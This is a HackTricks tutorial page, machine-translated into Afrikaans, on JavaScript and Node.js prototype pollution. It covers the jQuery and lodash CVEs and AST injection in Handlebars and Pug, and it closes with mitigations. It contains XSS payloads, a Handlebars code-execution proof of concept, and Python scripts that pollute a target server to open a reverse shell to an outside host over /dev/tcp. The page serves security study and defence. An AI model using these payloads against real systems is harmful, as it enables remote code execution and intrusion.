NodeJS - __proto__ & prototype Pollution

Support HackTricks

Objects in JavaScript

Objekte in JavaScript is essensieel versamelings van sleutel-waarde pare, bekend as eienskappe. 'n Objekt kan geskep word met Object.create met null as 'n argument om 'n leë objekt te produseer. Hierdie metode stel die skepping van 'n objekt sonder enige geërfde eienskappe in staat.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

'n Leë objek is soortgelyk aan 'n leë woordeboek, voorgestel as {}.

Funksies en Klasse in JavaScript

In JavaScript is klasse en funksies nou verwant, met funksies wat dikwels as konstruktors vir klasse dien. Ten spyte van JavaScript se gebrek aan inheemse klasondersteuning, kan konstruktors klasgedrag naboots.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

JavaScript laat die wysiging, toevoeging of verwydering van prototipe-attribuutte tydens uitvoering toe. Hierdie buigsaamheid stel die dinamiese uitbreiding van klasfunksies in staat.

Funksies soos toString en valueOf kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipesisteem demonstreer.

Inheritance

In prototipe-gebaseerde programmering word eienskappe/metodes geërf deur voorwerpe van klasse. Hierdie klasse word geskep deur eienskappe/metodes by 'n instansie van 'n ander klas of by 'n leë voorwerp te voeg.

Daar moet op gelet word dat wanneer 'n eienskap by 'n voorwerp gevoeg word wat as die prototipe vir ander voorwerpe dien (soos myPersonObj), die geërfde voorwerpe toegang tot hierdie nuwe eienskap verkry. Hierdie eienskap word egter nie outomaties vertoon nie, tensy dit eksplisiet aangeroep word.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die wysiging van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.

Kom ons gebruik 'n ander voorbeeld om dit te illustreer:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Toegang tot die Object-prototipe is moontlik deur:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Deur eienskappe aan die Object-prototipe toe te voeg, sal elke JavaScript-objek hierdie nuwe eienskappe erf:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

Vir 'n scenario waar __proto__ gebruik beperk is, is die aanpassing van 'n funksie se prototipe 'n alternatief:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Dit raak slegs voorwerpe wat van die Vehicle konstruktors gemaak is, en gee hulle die beep, hasWheels, honk, en isElectric eienskappe.

Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur middel van prototipe besoedeling sluit in:

  1. Besoedeling van die Object.prototype direk:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Besoedeling van die prototipe van 'n konstruksie vir 'n algemeen gebruikte struktuur:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Na hierdie operasies kan elke JavaScript-objek goodbye en greet metodes uitvoer.

Besoedeling van ander objek

Van 'n klas na Object.prototype

In 'n scenario waar jy 'n spesifieke objek kan besoedel en jy moet by Object.prototype kom, kan jy daarna soek met iets soos die volgende kode:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

Let daarop dat soos jy die eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, kan jy ook waardes van die array besoedel wat deur indekse toeganklik is (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html element besoedeling

Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die innerHTML attribuut te oorskryf om arbitraire HTML-kode te skryf. Idee en voorbeeld van hierdie skrywe.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Voorbeelde

Basiese Voorbeeld

'n Prototipe besoedeling vind plaas weens 'n fout in die toepassing wat dit toelaat om eienskappe op Object.prototype te oorskryf. Dit beteken dat omdat die meeste objekte hul eienskappe van Object.prototype aflei

Die maklikste voorbeeld is om 'n waarde by 'n onbepaalde eienskap van 'n objek te voeg wat gaan nagegaan word, soos:

if (user.admin) {

As die attribuut admin is onbepaald is dit moontlik om 'n PP te misbruik en dit op True te stel met iets soos:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, indien 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die __proto__ eienskap, wat in JavaScript sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.

Die voorwaardes waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke studie, sluit in:

  • Om 'n rekursiewe samesmelting uit te voer.

  • Om eienskappe te definieer op grond van 'n pad.

  • Om voorwerpe te kloon.

Oorskry-funksie

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Besoedeling na RCE

Prototype Pollution to RCE

Ander payloads:

Kliënt-kant prototype besoedeling na XSS

Client Side Prototype Pollution

CVE-2019–11358: Prototype besoedeling aanval deur jQuery $ .extend

Vir verdere besonderhede, kyk na hierdie artikel In jQuery kan die $ .extend funksie lei tot prototype besoedeling as die diep kopie kenmerk verkeerdelik gebruik word. Hierdie funksie word algemeen gebruik om voorwerpe te kloon of eienskappe van 'n standaard voorwerp te meng. egter, wanneer verkeerd geconfigureer, kan eienskappe wat bedoel is vir 'n nuwe voorwerp aan die prototipe toegeken word. Byvoorbeeld:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

This kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin toegang as eienskappe soos isAdmin nagegaan word sonder behoorlike bestaan verifikasie.

CVE-2018–3721, CVE-2019–10744: Prototipe besoedeling aanval deur lodash

Vir verdere besonderhede, kyk na hierdie artikel

Lodash het soortgelyke prototipe besoedeling kwesbaarhede ondervind (CVE-2018–3721, CVE-2019–10744). Hierdie probleme is in weergawe 4.17.11 aangespreek.

Nog 'n tutoriaal met CVE's

Gereedskap om Prototipe Besoedeling te ontdek

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te ontdek en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.

  • server-side-prototype-pollution: Hierdie uitbreiding identifiseer server kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die server side prototype pollution.

AST Prototipe Besoedeling in NodeJS

NodeJS gebruik uitgebreid Abstract Syntax Trees (AST) in JavaScript vir funksies soos sjabloon enjin en TypeScript. Hierdie afdeling verken die kwesbaarhede wat verband hou met prototipe besoedeling in sjabloon enjins, spesifiek Handlebars en Pug.

Handlebars Kwesbaarheid Analise

Die Handlebars sjabloon enjin is kwesbaar vir 'n prototipe besoedeling aanval. Hierdie kwesbaarheid ontstaan uit spesifieke funksies binne die javascript-compiler.js lêer. Die appendContent funksie, byvoorbeeld, voeg pendingContent by as dit teenwoordig is, terwyl die pushSource funksie pendingContent na undefined reset nadat die bron bygevoeg is.

Eksploitasiestap

Die eksploitasiestap benut die AST (Abstract Syntax Tree) wat deur Handlebars geproduseer word, volgens hierdie stappe:

  1. Manipulasie van die Parser: Aanvanklik, die parser, via die NumberLiteral node, afdwing dat waardes numeries is. Prototipe besoedeling kan dit omseil, wat die invoeging van nie-numeriese strings moontlik maak.

  2. Hantering deur die Compiler: Die compiler kan 'n AST Object of 'n string sjabloon verwerk. As input.type gelyk is aan Program, word die invoer as vooraf-geparseer beskou, wat benut kan word.

  3. Inspuiting van Kode: Deur manipulasie van Object.prototype, kan 'n mens arbitrêre kode in die sjabloon funksie inspuit, wat kan lei tot afstandkode-uitvoering.

'n Voorbeeld wat die eksploitering van die Handlebars kwesbaarheid demonstreer:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Hierdie kode demonstreer hoe 'n aanvaller arbitrêre kode in 'n Handlebars-sjabloon kan inspuit.

Eksterne Verwysing: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier beskryf: Probleem op GitHub.

Eksterne Verwysing: Probleem rakende prototipe besoedeling in die 'flat' biblioteek

Voorbeeld van prototipe besoedeling uitbuiting in Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Kwetsbaarheid

Pug, 'n ander sjabloon enjin, ondervind 'n soortgelyke risiko van prototipe besoedeling. Gedetailleerde inligting is beskikbaar in die bespreking oor AST Injection in Pug.

Voorbeeld van prototipe besoedeling in Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Voorkomende Maatreëls

Om die risiko van prototipe besoedeling te verminder, kan die onderstaande strategieë toegepas word:

  1. Objek Immutabiliteit: Die Object.prototype kan onveranderlik gemaak word deur Object.freeze toe te pas.

  2. Invoer Validasie: JSON-invoere moet streng teen die aansoek se skema geverifieer word.

  3. Veilige Samevoeg Funksies: Die onveilige gebruik van rekursiewe samevoeg funksies moet vermy word.

  4. Prototipe-loos Objekte: Objekte sonder prototipe eienskappe kan geskep word met Object.create(null).

  5. Gebruik van Map: In plaas van Object, moet Map gebruik word om sleutel-waarde pare te stoor.

  6. Biblioteek Opdaterings: Sekuriteitsopdaterings kan ingesluit word deur gereeld biblioteke op te dateer.

  7. Linter en Statiese Analise Gereedskap: Gebruik gereedskap soos ESLint met toepaslike plugins om prototipe besoedeling kwesbaarhede te ontdek en te voorkom.

  8. Kode Hersienings: Voer deeglike kode hersienings uit om potensiële risiko's rakende prototipe besoedeling te identifiseer en te verhelp.

  9. Sekuriteitsopleiding: Onderwys ontwikkelaars oor die risiko's van prototipe besoedeling en beste praktyke vir die skryf van veilige kode.

  10. Gebruik van Biblioteke met Versigtigheid: Wees versigtig wanneer jy derdeparty biblioteke gebruik. Evalueer hul sekuriteitsposisie en hersien hul kode, veral dié wat objekte manipuleer.

  11. Runtime Beskerming: Gebruik runtime beskermingsmeganismes soos om sekuriteitsgefokusde npm-pakkette te gebruik wat prototipe besoedeling aanvalle kan ontdek en voorkom.

Verwysings

Support HackTricks

Last updated